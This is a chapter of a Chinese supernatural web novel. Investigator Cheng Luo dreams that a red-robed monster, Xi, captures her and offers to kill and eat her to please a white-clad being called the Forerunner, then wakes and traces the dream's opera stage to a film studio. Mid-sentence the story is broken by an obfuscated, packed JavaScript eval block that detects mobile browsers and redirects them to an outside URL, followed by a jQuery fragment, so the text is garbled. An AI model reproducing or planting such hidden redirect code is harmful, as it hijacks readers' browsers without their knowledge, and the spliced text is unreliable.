“先行者!”


    成珞的声音乍响,吸引了所有周围所有怪物的目光。


    那些怪异的,不成人形的,趴在天花板上的,怪物将目光投向了唯一的人类。


    梦境是打翻的茶水,潮湿而氤氲着悠远的香气。


    梦里的视角很奇怪,成珞看到了这座大宅绿树流水,看到了高高挂起的大红灯笼,看到了暮色里兽一样蛰伏着的戏台。


    而此刻,她看见的是戏台底座上繁复的花纹。


    也正是因此,她才能于怪物中准确地伸手去抓那一角白衣,喊出那句先行者。


    但此刻,那些目光有如实质般落在身上,纵使身经百战,成珞依旧在想:


    我是不是做错了?


    我只是想抓住救命稻草,怎么反倒抓住了怪物中的怪物?


    ——异种之中,并非所有厉害的都长相与人类接近,但越是外形类人,越是危险,这是一定的。


    可梦不讲道理,梦里做什么也由不得成珞控制。


    她已经做了,而世上没有后悔药。


    但是,可以肯定的一点是,先行者的地位超乎她想象的高。


    她率先出声,先行者未曾表现出厌恶,于是周围的怪物也只能率先转向她道:


    “大人,向您问安……”


    无数或惶恐或惊喜的声音里,成珞努力地抬头去看先行者。


    她看见那雪一样、绣着暗纹的绣鞋就这样停在面前,抬头去看,于昏黄朦胧里对上姒昭的眼。


    观音低眉垂首,不外如是。


    清浅,淡然,像怜悯众生,又似无悲无喜。


    一片静默里率先响起的是另一道率性响亮的女声,甚至于成珞觉得那声音里带着几分轻佻:


    “哈——”


    “今朝为邀娘子赴宴、讨得娘子欢心,我可是费了大功夫!这拜帖,娘子可还喜欢?”


    于是那片茶渍一样的梦境里,除去姒昭一身雪衣,又闯进大片夺目的红。


    正如白衣先行者站在这里其余怪物就不敢发声一样,此刻敢于用如此嚣张随性的语气说话的自然也非凡人。


    那片红出现的刹那,一股难言的威压在这里蔓延开来,空气仿佛有千斤重——不,不是仿佛,而是此刻,真的有无形的力量压在她们身上!


    目之所及,无一人不是匍匐在地,以最原始、最直白的方式,对来者献上忠诚与臣服。


    而成珞本人,则是根本没有反抗的余地。


    像是迷雾缓缓散开,她看见大红的戏袍。


    漫天红纸纷飞,像一场别致的葬礼。


    接着拿红纸延长生长,藤蔓般捆住了成珞。


    嬉笑声响起:


    “此人为镇魔使,又身怀灵物气息,姒娘子初来乍到却愿给出灵物,可见对其青眼有加”


    说话的人声调抑扬顿挫,一字一句皆如珠玉般敲在人心上,莫名的,成珞明明身陷险境,心中却生出一股难言的喜悦。


    那声音还在继续:


    “难得见姒娘子对什么感兴趣,既如此——”


    “嘻——”


    那大红戏服的衣角随她的动作翩跹翻飞,愈发靠近成珞面前姒昭的白衣。


    “我便将她绑来,杀了吃肉,好款待姒娘子~”


    那声音还是一样活泼、纯真、又带着几分刻意的魅,却如惊雷一样劈中了成珞。


    刚升起还未持续多久的无名喜悦被那句“杀了吃肉”击落,成珞猛然从情绪中惊醒。


    那人说话,和她们说杀一只猪没区别。


    正心惊,忽听另一道声音响起,平和,淡然,一如直播中她听过的:


    “戏,你知晓的,吾不食人”


    是先行者。


    也就是,那大红喜服的怪物——成珞暂时无法确认其为异种,故称怪物——口中的“姒娘子”。


    当然,此刻脑子昏沉的成珞根本没法分辨是那个“si”。


    但至少她知道了,先行者被称为姒娘子,而那绑她来此的怪物,则是“戏”。


    戏开口道:


    “如今的人间算不得人间,人自然也算不得人”


    怪物的红戏袍凑近了雪白的衣角:


    “娘子素爱的人间烟火,如今只怕也——难寻”


    “也正是因此,戏才斗胆设宴,望博娘子一笑啊”


    说着,她的语调渐趋平缓,尾音里带上了几分叹息。


    然而成珞已察觉这个怪物善以音惑人,这次没再中计。


    被束缚着只能瞧见别人的裤脚,成珞也未擅自行动。


    如今敌我双方实力差距过大,妄动不是良策。


    反倒是——这位姒娘子,或许她的生机就在这位身上。


    毕竟从先前的直播和那枚骰盅身上看,直播镜头和这位姒娘子,都对她表现出了几分兴趣,应该暂时不会杀她。


    至于戏,很明显,虽不知二者关系,但她明显畏惧姒娘子。


    思绪万千,眼前的衣角动了。


    姒昭于落座,而那红衣的戏立在身旁做她的侍。


    她虔诚的声音响起:


    “娘子,戏也想成为您万千信徒中的一个”


    凛冽如雪的声音响起:


    “戏,我知你爱游戏人间,你亦知我无所谓信徒与否,你要做任何事,都不必扯我做掩饰”


    “那几位不会因为我而对你另眼相看”


    她的语气平静,却自带让人敬畏的气息。


    戏于是不再搬弄那灵巧、自带蛊惑气息的口舌,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666123|164939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罕见地沉默下来。


    她也明白,这等存在不是她可以随意招惹的。


    对方懒得理的时候尚且还好,若是对方计较起来,即使同样出自【巫山】,她这等存在又怎能与之抗衡?


    本该热闹的戏台在这沉默里显得灰扑扑的,恐惧在这里滋生。


    这种氛围下,成珞甚至觉得戏的花言巧语也变得可爱起来——至少比这让人窒息的沉默好。


    虽然她还不太明白,到底是因为沉默使这一切显得恐怖,还是座上那位白衣女人让人觉得恐怖。


    放她走啊。


    成珞在心里祈祷——面对无法战胜的存在时,人总免不了将希望寄托于虚无。


    或者,那个红衣的戏,能不能主动说句话啊?


    也许是听到了她的心声,成珞听见戏开口:


    “娘子,戏既然已递上拜帖,就一定会践行诺言、为您准备一场宴飨”


    “至于此人,戏也会将其放归来处,不愿惹娘子不快”


    迷雾渐起,遮蔽了大红的衣袍,也遮蔽了红衣。


    成珞觉得自己好像睡了很久,又好像只是历经了一瞬。


    她睁开眼,看着特处局熟悉的布局,耳畔传来局中纷乱的、熟悉的声音,打电话的,讨论案件的,研究骰盅的……


    最后,一切归于那场虚幻的梦境,脑子终于从梦里脱离出来,成珞耳边还回荡着那些话:


    “姒娘子”


    “戏”


    还有很重要的——


    “宴飨”


    宴飨,谓鬼神受享祭祀的酒食。


    而后成珞悚然,她忽然想起,梦里那戏台,她见过!


    “砰!”


    会议室的门被猛然推开,内里的众人讶异地回头,见本该在休息室的休息的成珞一脸严肃地闯进来:


    “我要查一个地方”


    她记得那个梦,她有很多问题,比如戏称呼她为镇魔使,比如巫山,比如信徒,但目前最紧急、她需要立刻处理且能处理的——


    是那戏台。


    会议室,成珞一边叙述着梦里的情况一边指挥调查科的专业人士,不过三分钟,熟悉的戏台出现在屏幕上:


    宁川影视城,兰苑。


    一个,原本已经荒废,后在近现代被改做影视城的地方。


    不过因为不久前发生过异种伤人事件,近来兰苑处于封锁状态。


    从梦中清醒过来的成珞不自觉攥紧拳头:


    “派人疏散周围的人群!不仅是兰苑周围,是整个宁川影视城,快!”


    然而,


    “滋啦——”


    又是熟悉的响声。


    大屏再次被直播占据。


    直播内,戏台之上,无数红绸垂落。